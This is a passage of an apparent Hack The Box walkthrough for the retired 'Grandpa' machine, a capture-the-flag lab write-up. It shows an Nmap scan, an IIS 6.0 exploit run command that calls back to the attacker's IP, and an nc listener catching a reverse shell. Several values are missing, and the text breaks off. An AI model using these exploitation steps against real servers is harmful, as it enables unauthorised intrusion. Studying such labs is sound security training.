Hack the Box (HTB) Machines Walkthrough Series — Grandpa

Continuing with our series on Hack The Box (HTB) machines, this article contains the walkthrough of an HTB machine named Grandpa.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

Note: Writeups of only retired HTB machines are allowed. The machine in this article, named Grandpa, is retired.

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Grandpa machine IP is

3. We will adopt the same methodology of performing penetration testing as we’ve used before. Let’s start with enumeration in order to gain as much information about the machine as possible.

4. As usual, let’s start with the Nmap scan to gather more information about the services running on this machine.
<<nmap -sC -sV -oA grandpa>>

5. As we can see, port 80 is opened with IIS 6.0 running under it.

6. Looking for exploits for IIS 6.0, we can see that it has a number of exploits. One we will use is this.

7. Here is a sample exploit for the abovementioned vulnerability. We’ll download it as and run it like below. (Note: Make sure to revert the box before running this.)
<< python 80 <attacking machine ip> 80>>

8. Opening port 1234 on our attacking machine as with nc, we can see that we get a reverse shell back.

9. Looking into what roles/permissions we got in (Read more...)

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